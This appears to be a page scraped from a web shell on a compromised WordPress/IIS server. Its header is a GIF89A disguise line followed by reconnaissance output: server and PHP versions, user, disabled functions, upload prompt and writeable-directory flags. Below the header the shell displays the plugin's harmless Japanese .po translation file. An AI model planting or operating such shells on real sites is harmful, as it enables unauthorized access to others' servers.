GIF89A; .
KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Microsoft-IIS/10.0
System : Windows NT HMW9050 6.2 build 9200 (Unknow Windows version Standard Edition) i586
User : fatorc ( 0)
PHP Version : 5.3.28
Disable Function : escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
Directory :  e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : e:/home/fatorc/Web/wp-content/plugins/siteorigin-panels/lang/siteorigin-panels-ja_JP.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.7.5\n"
"Project-Id-Version: Page Builder\n"
"Language: ja\n"
"POT-Creation-Date: \n"
"PO-Revision-Date: \n"
"Last-Translator: \n"
"Language-Team: \n"

#: inc/admin-actions.php:80
msgid "No description"
msgstr "記述なし"

#. A prebuilt layout is essentially a complete visual layout that was pre created.
#: inc/admin-actions.php:89
msgid "Your theme doesn't have any prebuilt layouts."
msgstr "テーマはあらかじめ構築されたレイアウトを使用していません。"

#: inc/admin-actions.php:90
msgid "You can still clone existing pages though."
msgstr "但し、存在するページをコピーすることはできます。"

#: inc/admin-actions.php:123
msgid "Clone"
msgstr "コピーする。"

#: inc/admin-actions.php:141
msgid "There are no %s with Page Builder content to clone."
msgstr "コピーできるページビルダーの内容はゼロ %s です。"

#: inc/default-styles.php:57
msgid "Row Class"
msgstr "ROW (行) クラス"

#. A CSS class is something to describe an HTML element.
#: inc/default-styles.php:60 inc/default-styles.php:165
msgid "A CSS class"
msgstr "CSSクラス"

#: inc/default-styles.php:65
msgid "Cell Class"
msgstr "セルクラス"

#: inc/default-styles.php:68
msgid "Class added to all cells in this row."
msgstr "この行のすべてのセルに加えられたクラス"

#: inc/default-styles.php:73 inc/default-styles.php:170
msgid "CSS Styles"
msgstr "CSSスタイル"

#: inc/default-styles.php:76 inc/default-styles.php:173
msgid "CSS Styles, given as one per row."
msgstr "それぞれの行に割り当てられたCSSスタイル"

#. The amount of spacing below a row. This comes from the concept of a text margin.
#: inc/default-styles.php:83
msgid "Bottom Margin"
msgstr "下マージン"

#: inc/default-styles.php:86
msgid "Space below the row."
msgstr "行間隔"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: inc/default-styles.php:91
msgid "Gutter"
msgstr "ガター(溝)"

#: inc/default-styles.php:94
msgid "Amount of space between columns."
msgstr "カラム間の間隔"

#. This is essentially the amount of padding, or amount of space around a widget or row.
#: inc/default-styles.php:99 inc/default-styles.php:178
msgid "Padding"
msgstr "パディング"

#: inc/default-styles.php:102
msgid "Padding around the entire row."
msgstr "行全体の周囲にパディングをする"

#: inc/default-styles.php:107
msgid "Row Layout"
msgstr "行レイアウト"

#: inc/default-styles.php:111
msgid "Standard"
msgstr "標準"

#: inc/default-styles.php:112
msgid "Full Width"
msgstr "全幅"

#. This means the row is displayed the full width of the page and the content is also stretched.
#: inc/default-styles.php:113
msgid "Full Width Stretched"
msgstr "全幅まで拡張"

#: inc/default-styles.php:121 inc/default-styles.php:188
msgid "Background Color"
msgstr "背景色"

#: inc/default-styles.php:124
msgid "Background color of the row."
msgstr "行の背景色"

#: inc/default-styles.php:129 inc/default-styles.php:196
msgid "Background Image"
msgstr "背景イメージ"

#: inc/default-styles.php:132
msgid "Background image of the row."
msgstr "行の背景イメージ"

#: inc/default-styles.php:137 inc/default-styles.php:204
msgid "Background Image Display"
msgstr "背景イメージの表示"

#: inc/default-styles.php:141 inc/default-styles.php:208
msgid "Tiled Image"
msgstr "タイル状イメージ"

#: inc/default-styles.php:142 inc/default-styles.php:209
msgid "Cover"
msgstr "カバー"

#: inc/default-styles.php:143 inc/default-styles.php:210
msgid "Centered, with original size"
msgstr "オリジナルサイズで中央に寄せられた"

#: inc/default-styles.php:145 inc/default-styles.php:212
msgid "How the background image is displayed."
msgstr "背景イメージの表示のされ方"

#: inc/default-styles.php:150 inc/default-styles.php:217
msgid "Border Color"
msgstr "境界線の色"

#: inc/default-styles.php:153
msgid "Border color of the row."
msgstr "行の境界線の色"

#: inc/default-styles.php:162
msgid "Widget Class"
msgstr "ウィジェットクラス"

#: inc/default-styles.php:181
msgid "Padding around the entire widget."
msgstr "ウィジェット全体の周囲にパディング"

#: inc/default-styles.php:191
msgid "Background color of the widget."
msgstr "ウィジェットの背景色"

#: inc/default-styles.php:199
msgid "Background image of the widget."
msgstr "ウィジェットの背景イメージ"

#: inc/default-styles.php:220
msgid "Border color of the widget."
msgstr "ウィジェットの境界線の色"

#: inc/default-styles.php:225
msgid "Font Color"
msgstr "フォントの色"

#: inc/default-styles.php:228
msgid "Color of text inside this widget."
msgstr "このウィジェット内テキストの色"

#: inc/plugin-activation.php:7 inc/plugin-activation.php:8
msgid "Install Page Builder Plugin"
msgstr "ページビルダープラグインをインストールする"

#: inc/plugin-activation.php:74
msgid "Installing %s"
msgstr "インストール中 %s"

#: inc/revisions.php:50
msgid "Page Builder Content"
msgstr "ページビルダーの内容"

#: inc/styles.php:16
msgid "Row Styles"
msgstr "行スタイル"

#: inc/styles.php:20
msgid "Widget Styles"
msgstr "ウィジェットスタイル"

#: inc/styles.php:42
msgid "Attributes"
msgstr "アトリビュート"

#: inc/styles.php:46 settings/settings.php:225
msgid "Layout"
msgstr "レイアウト"

#: inc/styles.php:50
msgid "Design"
msgstr "デザイン"

#: inc/styles.php:60
msgid "Theme"
msgstr "テーマ"

#: inc/styles.php:179
msgid "Select Image"
msgstr "イメージを選択"

#: inc/styles.php:183
msgid "Remove"
msgstr "削除"

#: inc/styles.php:197 settings/settings.php:313
msgid "Enabled"
msgstr "有効にする"

#: inc/widgets-bundle.php:7
msgid "SiteOrigin Button"
msgstr "サイトオリジン・ボタン"

#: inc/widgets-bundle.php:8 widgets/widgets/button/button.php:8
msgid "A simple button"
msgstr "シンプルボタン"

#: inc/widgets-bundle.php:11 inc/widgets-bundle.php:23
#: inc/widgets-bundle.php:35 inc/widgets-bundle.php:47
#: inc/widgets-bundle.php:59 inc/widgets.php:126
msgid "SiteOrigin Widgets Bundle"
msgstr "サイトオリジン・ウィジェット・パック"

#: inc/widgets-bundle.php:19
msgid "SiteOrigin Image"
msgstr "サイトオリジン・イメージ"

#: inc/widgets-bundle.php:20
msgid "Choose images from your media library."
msgstr "メディア・ライブラリからイメージを選択"

#: inc/widgets-bundle.php:31
msgid "SiteOrigin Slider"
msgstr "サイトオリジン・サイドバー"

#: inc/widgets-bundle.php:32
msgid "A basic slider widget."
msgstr "ベーシックスライダー・ウィジェット"

#: inc/widgets-bundle.php:43
msgid "SiteOrigin Features"
msgstr "サイトオリジンの特徴"

#: inc/widgets-bundle.php:44
msgid "Display site features as a collection of icons."
msgstr "サイトの特徴をアイコンとして表示"

#: inc/widgets-bundle.php:55
msgid "SiteOrigin Post Carousel"
msgstr "サイトオリジン・投稿カルーセル"

#: inc/widgets-bundle.php:56
msgid "Display your posts as a carousel."
msgstr "投稿記事をカルーセルとして表示"

#: inc/widgets.php:17
msgid "Visual Editor"
msgstr "ビジュアルエディター"

#: inc/widgets.php:18
msgid "Arbitrary text or HTML with visual editor"
msgstr "ビジュアルエディターによる任意のテキストまたはHTML"

#. Specific name for this product: Source: https://www.youtube.com/watch?v=EY31s3Qrsk0
#: inc/widgets.php:21
msgid "Black Studio TinyMCE"
msgstr "Black Studio TinyMCE"

#: inc/widgets.php:102
msgid "Widgets Bundle"
msgstr "ウィジェット・パック"

#: inc/widgets.php:132
msgid "Page Builder Widgets"
msgstr "ページビルダー・ウィジェット"

#. "WordPress ウィジェット" is alternative.  Source: http://m-creative.net/how-to-wordpress/
#: inc/widgets.php:148
msgid "WordPress Widgets"
msgstr "ワードプレス・ウィジェット"

#. Specific name: source: http://wc.artws.info/about-wc/
#: inc/widgets.php:158
msgid "WooCommerce"
msgstr "WooCommerce"

#. Specific name: source : http://netaone.com/wp/jetpack/
#: inc/widgets.php:169
msgid "Jetpack"
msgstr "Jetpack"

#: inc/widgets.php:180
msgid "BBPress"
msgstr "bbPress"

#: inc/widgets.php:188 settings/settings.php:218
msgid "Recommended Widgets"
msgstr "おすすめのウィジェット"

#: settings/settings.php:146 settings/tpl/settings.php:9 tpl/options.php:5
msgid "SiteOrigin Page Builder"
msgstr "サイトオリジン・ページビルダー"

#: settings/settings.php:146 siteorigin-panels.php:108
#: siteorigin-panels.php:467 tpl/js-templates.php:160
msgid "Page Builder"
msgstr "ページビルダー"

#: settings/settings.php:170
msgid "Page Builder Settings"
msgstr "ページビルダーの設定"

#: settings/settings.php:186 tpl/options.php:11
msgid "General"
msgstr "全般"

#: settings/settings.php:192 tpl/options.php:15
msgid "Post Types"
msgstr "投稿タイプ"

#: settings/settings.php:194
msgid "The post types to use Page Builder on."
msgstr "ページビルダーを使用する投稿タイプ"

#: settings/settings.php:200
msgid "Widgets"
msgstr "ウィジェット"

#: settings/settings.php:206
msgid "Widget Title HTML"
msgstr "ウィジェットタイトルHTML"

#. Something I forgot to mention is that for this string "{{title}}" shouldn't be translated. The rest of the string can be, but that one part needs to remain as is.
#: settings/settings.php:207
msgid "The HTML used for widget titles. {{title}} is replaced with the widget title."
msgstr "ウィジェットタイトルとして使用されるHTML。{{title}} はウィジェットタイトルに置き換えられます。"

#: settings/settings.php:212
msgid "Legacy Bundled Widgets"
msgstr "レガシーウィジェットパック"

#: settings/settings.php:213
msgid "Load legacy widgets from Page Builder 1."
msgstr "ページビルダー1からレガシーウィジェットをロード"

#. Is it "recommended" not "recommend"?
#: settings/settings.php:219
msgid "Display recommend widgets in Page Builder add widget dialog."
msgstr "ページビルダーのウィジェットダイアログを追加のおすすめウィジェットを表示"

#: settings/settings.php:233 tpl/options.php:57
msgid "Responsive Layout"
msgstr "レスポンシブレイアウト"

#: settings/settings.php:234
msgid "Collapse widgets, rows and columns on mobile devices."
msgstr "モバイルでウィジェット、行、列を折りたたむ"

#: settings/settings.php:240 tpl/options.php:64
msgid "Mobile Width"
msgstr "モバイル幅"

#: settings/settings.php:241
msgid "Device width, in pixels, to collapse into a mobile view ."
msgstr "ピクセル単位でモバイル画面用に折りたたむためのデバイス幅"

#. Is this different from space between rows?
#: settings/settings.php:247 tpl/options.php:70
msgid "Row Bottom Margin"
msgstr "行間マージン"

#. Can "rows" be "paragraph"?
#: settings/settings.php:248
msgid "Default margin below rows."
msgstr "段落後デフォルトマージン"

#. This term comes from typography. It's essentially the spacing between 2 columns.
#.
#. http://en.wikipedia.org/wiki/Column_%28typography%29
#: settings/settings.php:254
msgid "Row Gutter"
msgstr "ガター"

#: settings/settings.php:255
msgid "Default spacing between columns in each row."
msgstr "各行のカラム間のデフォルト間隔"

#. In this context, the container is an HTML container or wrapper.
#: settings/settings.php:261
msgid "Full Width Container"
msgstr "ラッパー全幅"

#: settings/settings.php:262
msgid "The container used for the full width layout."
msgstr "全幅レイアウトに使用されるラッパー"

#: settings/settings.php:269
msgid "Content"
msgstr "コンテンツ"

#: settings/settings.php:275 tpl/options.php:25
msgid "Copy Content"
msgstr "コンテンツをコピー"

#: settings/settings.php:276
msgid "Copy content from Page Builder to post content."
msgstr "ページビルダーのコンテンツをコピーし投稿"

#: settings/tpl/settings.php:12
msgid "Search Settings"
msgstr "設定検索"

#: settings/tpl/settings.php:29
msgid "Settings Saved"
msgstr "保存済み設定"

#: settings/tpl/settings.php:78 tpl/options.php:93
msgid "Save Settings"
msgstr "設定を保存"

#: siteorigin-panels.php:73
msgid "Custom Home Page Builder"
msgstr "カスタム・ホームページビルダー"

#: siteorigin-panels.php:74 siteorigin-panels.php:140
msgid "Home Page"
msgstr "ホームページ"

#: siteorigin-panels.php:263
msgid "All Widgets"
msgstr "すべてのウィジェット"

#: siteorigin-panels.php:274
msgid "Missing Widget"
msgstr "失われたウィジェット"

#: siteorigin-panels.php:275
msgid "Page Builder doesn't know about this widget."
msgstr "ページビルダーはこのウィジェットを認識しません。"

#. Is this something called "printf"?
#: siteorigin-panels.php:279
msgid "%d seconds"
msgstr "%d 秒"

#: siteorigin-panels.php:281
msgid "%d minutes"
msgstr "%d 分"

#: siteorigin-panels.php:283
msgid "%d hours"
msgstr "%d 時"

#: siteorigin-panels.php:286
msgid "%d second"
msgstr "%d 秒"

#: siteorigin-panels.php:288
msgid "%d minute"
msgstr "%d 分"

#: siteorigin-panels.php:290
msgid "%d hour"
msgstr "%d 時"

#: siteorigin-panels.php:293
msgid "%s before"
msgstr "%s 前"

#: siteorigin-panels.php:294
msgid "Now"
msgstr "現在"

#: siteorigin-panels.php:298
msgid "Current"
msgstr "現在"

#: siteorigin-panels.php:299
msgid "Original"
msgstr "オリジナル"

#: siteorigin-panels.php:300
msgid "Version restored"
msgstr "回復済みバージョン"

#: siteorigin-panels.php:304
msgid "Widget deleted"
msgstr "削除済みウィジェット"

#: siteorigin-panels.php:306
msgid "Widget added"
msgstr "追加されたウィジェット"

#: siteorigin-panels.php:308
msgid "Widget edited"
msgstr "編集済みウィジェット"

#: siteorigin-panels.php:310
msgid "Widget duplicated"
msgstr "コピーされたウィジェット"

#: siteorigin-panels.php:312
msgid "Widget moved"
msgstr "移動されたウィジェット"

#: siteorigin-panels.php:316
msgid "Row deleted"
msgstr "削除された行"

#: siteorigin-panels.php:318
msgid "Row added"
msgstr "追加された行"

#: siteorigin-panels.php:320
msgid "Row edited"
msgstr "編集済みの行"

#: siteorigin-panels.php:322
msgid "Row moved"
msgstr "移動された行"

#: siteorigin-panels.php:324
msgid "Row duplicated"
msgstr "複製された行"

#: siteorigin-panels.php:327
msgid "Cell resized"
msgstr "リサイズされたセル"

#: siteorigin-panels.php:330
msgid "Prebuilt layout loaded"
msgstr "あらかじめ構築されたレイアウトがロードされました。"

#: siteorigin-panels.php:334
msgid "Are you sure you want to overwrite your current content? This can be undone in the builder history."
msgstr "現在の内容に上書きしてよろしいですか?ビルダー履歴から、元に戻すこともできます。"

#: siteorigin-panels.php:335
msgid "Loading prebuilt layout"
msgstr "あらかじめ構築されたレイアウトをロード中"

#: siteorigin-panels.php:336
msgid "Would you like to copy this editor's existing content to Page Builder?"
msgstr "このエディターにあるコンテンツをページビルダーにコピーしますか。"

#: siteorigin-panels.php:337
msgid "Would you like to clear your Page Builder content and revert to using the standard visual editor?"
msgstr "ページビルダー内にあるコンテンツを削除し、標準のビジュアルエディタに戻しますか。"

#: siteorigin-panels.php:339
msgid "Layout Builder Widget"
msgstr "レイアウトビルダー・ウィジェット"

#: siteorigin-panels.php:341 tpl/js-templates.php:85
msgid "Are you sure?"
msgstr "よろしいですか。"

#: siteorigin-panels.php:348
msgid "Page Builder layouts"
msgstr "ページビルダー・レイアウト"

#: siteorigin-panels.php:349
msgid "Error uploading or importing file."
msgstr "エラーをアップロード中またはファイルをインポート中"

#: siteorigin-panels.php:395
msgid "Untitled Widget"
msgstr "無題のウィジェット"

#: siteorigin-panels.php:1140
msgid "Edit Home Page"
msgstr "ホームページを編集"

#: siteorigin-panels.php:1237
msgid "Save and reload this page to start using the widget after you've installed it."
msgstr "このページを保存後、リロードし、ウィジェットをインストール後、ご利用を開始する。"

#: siteorigin-panels.php:1321
msgid "Support Forum"
msgstr "サポートフォーラム"

#: siteorigin-panels.php:1322
msgid "Newsletter"
msgstr "ニュースレター"

#: tpl/admin-home-page.php:9
msgid "On"
msgstr "オン"

#: tpl/admin-home-page.php:9
msgid "Off"
msgstr "オフ"

#: tpl/admin-home-page.php:13
msgid "Custom Home Page"
msgstr "カスタム・ホームページ"

#: tpl/admin-home-page.php:45
msgid "Save Home Page"
msgstr "ホームページを保存"

#: tpl/admin-home-page.php:49
msgid "This interface requires Javascript"
msgstr "このインターフェースにはJavaScriptが必要です。"

#: tpl/help.php:2
msgid "You can use SiteOrigin Page Builder to create home and sub pages, filled your own widgets."
msgstr "サイトオリジン・ページビルダーでご自分のウィジェットを含めたホームページ、サブページを作成することができます。"

#: tpl/help.php:3
msgid "The page layouts are responsive and fully customizable."
msgstr "このページレイアウトはレスポンシブで完全にカスタマイズすることができます。"

#: tpl/js-templates.php:12
msgid "Add Widget"
msgstr "ウィジェットを追加"

#: tpl/js-templates.php:17
msgid "Add Row"
msgstr "行を追加"

#: tpl/js-templates.php:22
msgid "Prebuilt"
msgstr "あらかじめ構築された"

#: tpl/js-templates.php:29
msgid "History"
msgstr "履歴"

#: tpl/js-templates.php:34
msgid "Live Editor"
msgstr "ライブエディター"

#: tpl/js-templates.php:39
msgid "Switch to Editor"
msgstr "エディターに移行"

#: tpl/js-templates.php:83 tpl/js-templates.php:256
msgid "Edit Row"
msgstr "行を編集"

#: tpl/js-templates.php:84
msgid "Duplicate Row"
msgstr "行を複製"

#: tpl/js-templates.php:85
msgid "Delete Row"
msgstr "行を削除"

#: tpl/js-templates.php:113
msgid "Edit"
msgstr "編集"

#: tpl/js-templates.php:114 tpl/js-templates.php:231 tpl/js-templates.php:322
msgid "Duplicate"
msgstr "コピー"

#: tpl/js-templates.php:115 tpl/js-templates.php:230 tpl/js-templates.php:321
msgid "Delete"
msgstr "削除"

#: tpl/js-templates.php:169 tpl/js-templates.php:234
msgid "Done"
msgstr "完了"

#. What is "%s" in this context?
#: tpl/js-templates.php:183
msgid "Add New Widget %s"
msgstr "新しいウィジェットを追加 %s"

#: tpl/js-templates.php:187
msgid "Search Widgets"
msgstr "ウィジェットを検索"

#: tpl/js-templates.php:199
msgid "Close"
msgstr "閉じる"

#: tpl/js-templates.php:254
msgid "Add New Row"
msgstr "新しい行を追加"

#: tpl/js-templates.php:290
msgid "Left to Right"
msgstr "左から右へ"

#: tpl/js-templates.php:291
msgid "Right to Left"
msgstr "右から左へ"

#: tpl/js-templates.php:308
msgid "Set"
msgstr "配置"

#: tpl/js-templates.php:327
msgid "Insert"
msgstr "挿入"

#: tpl/js-templates.php:329
msgid "Save"
msgstr "保存"

#: tpl/js-templates.php:347
msgid "Prebuilt Layouts"
msgstr "あらかじめ構築されたレイアウト"

#: tpl/js-templates.php:351
msgid "Search"
msgstr "検索"

#: tpl/js-templates.php:354
msgid "Theme Defined"
msgstr "定義されたテーマ"

#: tpl/js-templates.php:355
msgid "Import/Export"
msgstr "インポート/エクスポート"

#: tpl/js-templates.php:361
msgid "Clone: %s"
msgstr "コピー: %s"

#. Is it "imported"?
#: tpl/js-templates.php:382
msgid "Drop import file here"
msgstr "インポートファイルをここへドロップ"

#: tpl/js-templates.php:383
msgid "Or"
msgstr "または"

#: tpl/js-templates.php:386
msgid "Select Import File"
msgstr "インポートファイルを選択"

#: tpl/js-templates.php:398
msgid "Download Layout"
msgstr "レイアウトをダウンロード"

#: tpl/js-templates.php:419
msgid "Page Builder Change History"
msgstr "ページビルダー変更履歴"

#: tpl/js-templates.php:433
msgid "Restore Version"
msgstr "再生バージョン"

#: tpl/js-templates.php:458
msgid "Close Live Editor"
msgstr "ライブエディターを閉じる"

#: tpl/options.php:26
msgid "Copy content from Page Builder into the standard content editor."
msgstr "ページビルダーからコンテンツをコピーして標準コンテンツエディターに張り付ける。"

#: tpl/options.php:32
msgid "Animations"
msgstr "アニメーション"

#: tpl/options.php:33
msgid "Disable animations for improved performance."
msgstr "改善されたパフォーマンスのためアニメーションを無効にする。"

#: tpl/options.php:39
msgid "Bundled Widgets"
msgstr "ウィジェットパック"

#: tpl/options.php:40
msgid "Include the bundled widgets."
msgstr "ウィジェットバックを含める"

#: tpl/options.php:48
msgid "Display"
msgstr "表示"

#: tpl/options.php:58
msgid "Should the layout collapse for mobile devices."
msgstr "モバイル機器のためレイアウトを折りたたむようにしますか。"

#: tpl/options.php:76
msgid "Cell Side Margins"
msgstr "セル側のマージン"

#: tpl/options.php:82
msgid "Inline CSS"
msgstr "インライン CSS"

#. Layout is verb?
#: widgets/basic.php:13
msgid "Layout Builder"
msgstr "レイアウトビルダー"

#: widgets/basic.php:53
msgid "Open Builder"
msgstr "ビルダーを開く"

#: widgets/basic.php:82
msgid "Post Content"
msgstr "コンテンツを投稿"

#: widgets/basic.php:84
msgid "Displays content from the current post."
msgstr "現在の投稿からコンテンツを表示"

#: widgets/basic.php:130 widgets/basic.php:427 widgets/widgets.php:589
#: widgets/widgets.php:764
msgid "None"
msgstr "該当なし"

#: widgets/basic.php:131 widgets/basic.php:355
#: widgets/widgets/call-to-action/call-to-action.php:15
#: widgets/widgets/list/list.php:15 widgets/widgets/price-box/price-box.php:15
msgid "Title"
msgstr "タイトル"

#: widgets/basic.php:132
msgid "Featured Image"
msgstr "フィーチャーされたイメージ"

#: widgets/basic.php:137
msgid "Display Content"
msgstr "コンテンツを表示"

#: widgets/basic.php:157
msgid "Post Loop"
msgstr "ループを投稿"

#: widgets/basic.php:159
msgid "Displays a post loop."
msgstr "投稿されたループを表示"

#: widgets/basic.php:349
msgid "Your theme doesn't have any post loops."
msgstr "テーマには投稿されたループはありません。"

#: widgets/basic.php:359
msgid "Template"
msgstr "テンプレート"

#: widgets/basic.php:375
msgid "More Link "
msgstr "他のリンク"

#: widgets/basic.php:377
msgid "If the template supports it, cut posts and display the more link."
msgstr "テンプレートがサポートする場合、投稿を削除し他のリンクを表示してください。"

#: widgets/basic.php:411 widgets/widgets.php:575
msgid "Post Type"
msgstr "投稿タイプ"

#: widgets/basic.php:420 widgets/widgets.php:582
msgid "Posts Per Page"
msgstr "ページ毎に投稿"

#. Order by "A " in Japanese "A"の順
#: widgets/basic.php:425 widgets/widgets.php:587
msgid "Order By"
msgstr "の順"

#: widgets/basic.php:428 widgets/widgets.php:590
msgid "Post ID"
msgstr "投稿ID"

#: widgets/basic.php:429 widgets/widgets.php:591
msgid "Author"
msgstr "著者"

#: widgets/basic.php:430 widgets/basic.php:431 widgets/widgets.php:592
#: widgets/widgets.php:593 widgets/widgets/testimonial/testimonial.php:15
msgid "Name"
msgstr "名前"

#: widgets/basic.php:432 widgets/widgets.php:594
msgid "Date"
msgstr "日付"

#: widgets/basic.php:433 widgets/widgets.php:595
msgid "Modified"
msgstr "修正された"

#: widgets/basic.php:434 widgets/widgets.php:596
msgid "Parent"
msgstr "親"

#: widgets/basic.php:435 widgets/widgets.php:597
msgid "Random"
msgstr "ランダム"

#: widgets/basic.php:436 widgets/widgets.php:598
msgid "Comment Count"
msgstr "コメント数"

#: widgets/basic.php:437 widgets/basic.php:438 widgets/widgets.php:599
msgid "Menu Order"
msgstr "メニューの順"

#: widgets/basic.php:439
msgid "Post In Order"
msgstr "投稿順"

#: widgets/basic.php:444 widgets/widgets.php:605
msgid "Order"
msgstr "順"

#: widgets/basic.php:446 widgets/widgets.php:608
msgid "Descending"
msgstr "降順"

#: widgets/basic.php:447 widgets/widgets.php:607
msgid "Ascending"
msgstr "昇順"

#: widgets/basic.php:452 widgets/widgets.php:614
msgid "Sticky Posts"
msgstr "Sticky post"

#: widgets/basic.php:454 widgets/widgets.php:616 widgets/widgets.php:738
msgid "Default"
msgstr "デフォルト"

#. Sticky is 固定.  http://anshin-salon.com/hp-sakusei/2013/01/08/135.html
#: widgets/basic.php:455 widgets/widgets.php:617
msgid "Ignore Sticky"
msgstr "固定を無視"

#: widgets/basic.php:456 widgets/widgets.php:618
msgid "Exclude Sticky"
msgstr "固定を除外"

#: widgets/basic.php:457 widgets/widgets.php:619
msgid "Only Sticky"
msgstr "固定のみ"

#: widgets/basic.php:462
msgid "Additional "
msgstr "追加の"

#: widgets/widgets.php:204
msgid "Style"
msgstr "スタイル"

#: widgets/widgets.php:228
msgid "%s Style"
msgstr "%s スタイル"

#: widgets/widgets.php:625
msgid "Additional Arguments"
msgstr "追加された引数"

#: widgets/widgets.php:686
msgid "Gallery (PB)"
msgstr "ギャラリー(PB)"

#: widgets/widgets.php:688
msgid "Displays a gallery."
msgstr "ギャラリーを表示"

#: widgets/widgets.php:727
msgid "Gallery Images"
msgstr "ギャラリーイメージ"

#: widgets/widgets.php:728
msgid "edit gallery"
msgstr "ギャラリーを編集"

#: widgets/widgets.php:732
msgid "Comma separated attachment IDs. Defaults to all current page's attachments."
msgstr "コンマで区切られた添付ID。すべての現在のページの添付にデフォルトで適用されます。"

#: widgets/widgets.php:736
msgid "Image Size"
msgstr "イメージサイズ"

#: widgets/widgets.php:739
msgid "Large"
msgstr "大"

#: widgets/widgets.php:740
msgid "Medium"
msgstr "中"

#: widgets/widgets.php:741
msgid "Thumbnail"
msgstr "サムネイル"

#: widgets/widgets.php:742
msgid "Full"
msgstr "全表示"

#: widgets/widgets.php:750
msgid "Gallery Type"
msgstr "ギャラリータイプ"

#: widgets/widgets.php:755
msgid "Columns"
msgstr "カラム"

#. Link to "A" is in Japanese "A"へのリンク.
#: widgets/widgets.php:760
msgid "Link To"
msgstr "へのリンク"

#: widgets/widgets.php:762
msgid "Attachment Page"
msgstr "添付ページ"

#: widgets/widgets.php:763
msgid "File"
msgstr "ファイル"

#. Is (PB) abbribiation of Page Builder?
#: widgets/widgets.php:781
msgid "Image (PB)"
msgstr "イメージ (PB)"

#: widgets/widgets.php:783
msgid "Displays a simple image."
msgstr "シンプルイメージを表示"

#: widgets/widgets.php:816
#: widgets/widgets/animated-image/animated-image.php:15
msgid "Image URL"
msgstr "イメージURL"

#: widgets/widgets.php:820 widgets/widgets/button/button.php:19
msgid "Destination URL"
msgstr "リンク先 URL"

#: widgets/widgets.php:834
msgid "Embedded Video (PB)"
msgstr "埋め込み動画 (PB)"

#: widgets/widgets.php:836
msgid "Embeds a video."
msgstr "動画を埋め込む"

#: widgets/widgets.php:874
msgid "Video"
msgstr "動画"

#: widgets/widgets.php:890
msgid "Self Hosted Video (PB)"
msgstr "セルフホスト動画 (PB)"

#: widgets/widgets.php:892
msgid "A self hosted video player."
msgstr "セルフホスト動画プレーヤー"

#: widgets/widgets.php:934
msgid "Video URL"
msgstr "動画URL"

#: widgets/widgets.php:938
msgid "Poster URL"
msgstr "ポスター画像URL"

#: widgets/widgets.php:940
msgid "An image that displays before the video starts playing."
msgstr "動画が再生前に表示される画像"

#: widgets/widgets.php:945
msgid "Auto Play Video"
msgstr "自動再生動画"

#: widgets/widgets/animated-image/animated-image.php:6
msgid "Animated Image (PB)"
msgstr "アニメーションイメージ (PB)"

#: widgets/widgets/animated-image/animated-image.php:8
msgid "An image that animates in when it enters the screen."
msgstr "スクリーンに入ると動くイメージ"

#: widgets/widgets/animated-image/animated-image.php:19
msgid "Animation"
msgstr "アニメーション"

#: widgets/widgets/animated-image/animated-image.php:21
msgid "Fade In"
msgstr "フェードイン"

#: widgets/widgets/animated-image/animated-image.php:22
msgid "Slide Up"
msgstr "スライドアップ"

#: widgets/widgets/animated-image/animated-image.php:23
msgid "Slide Down"
msgstr "スライドダウン"

#: widgets/widgets/animated-image/animated-image.php:24
msgid "Slide Left"
msgstr "左スライド"

#: widgets/widgets/animated-image/animated-image.php:25
msgid "Slide Right"
msgstr "右スライド"

#: widgets/widgets/button/button.php:6
msgid "Button (PB)"
msgstr "ボタン (PB)"

#: widgets/widgets/button/button.php:15 widgets/widgets/list/list.php:19
#: widgets/widgets/testimonial/testimonial.php:27
msgid "Text"
msgstr "テキスト"

#: widgets/widgets/button/button.php:23
#: widgets/widgets/call-to-action/call-to-action.php:31
#: widgets/widgets/price-box/price-box.php:44
#: widgets/widgets/testimonial/testimonial.php:36
msgid "Open In New Window"
msgstr "新しいウインドウで開く"

#: widgets/widgets/button/button.php:27
msgid "Button Alignment"
msgstr "配置ボタン"

#: widgets/widgets/button/button.php:29
msgid "Left"
msgstr "左寄せ"

#: widgets/widgets/button/button.php:30
msgid "Right"
msgstr "右寄せ"

#: widgets/widgets/button/button.php:31
msgid "Center"
msgstr "中央寄せ"

#: widgets/widgets/button/button.php:32
msgid "Justify"
msgstr "均等割り"

#: widgets/widgets/call-to-action/call-to-action.php:6
msgid "Call To Action (PB)"
msgstr "コールトゥアクション (PB)"

#: widgets/widgets/call-to-action/call-to-action.php:8
msgid "A Call to Action block"
msgstr "コールトゥアクションブロック"

#: widgets/widgets/call-to-action/call-to-action.php:19
msgid "Sub Title"
msgstr "サブタイトル"

#: widgets/widgets/call-to-action/call-to-action.php:23
#: widgets/widgets/price-box/price-box.php:36
msgid "Button Text"
msgstr "ボタンテキスト"

#: widgets/widgets/call-to-action/call-to-action.php:27
#: widgets/widgets/price-box/price-box.php:40
msgid "Button URL"
msgstr "ボタンURL"

#: widgets/widgets/call-to-action/call-to-action.php:37
#: widgets/widgets/price-box/price-box.php:49
msgid "Button"
msgstr "ボタン"

#: widgets/widgets/list/list.php:6
msgid "List (PB)"
msgstr ""

#: widgets/widgets/list/list.php:8 widgets/widgets/price-box/price-box.php:8
msgid "Displays a bullet list of elements"
msgstr ""

#: widgets/widgets/list/list.php:20 widgets/widgets/price-box/price-box.php:32
msgid "Start each new point with an asterisk (*)"
msgstr ""

#: widgets/widgets/price-box/price-box.php:6
msgid "Price Box (PB)"
msgstr ""

#: widgets/widgets/price-box/price-box.php:19
msgid "Price"
msgstr ""

#: widgets/widgets/price-box/price-box.php:23
msgid "Per"
msgstr ""

#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr ""

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr ""

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr ""

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
msgstr ""

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr ""

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr ""

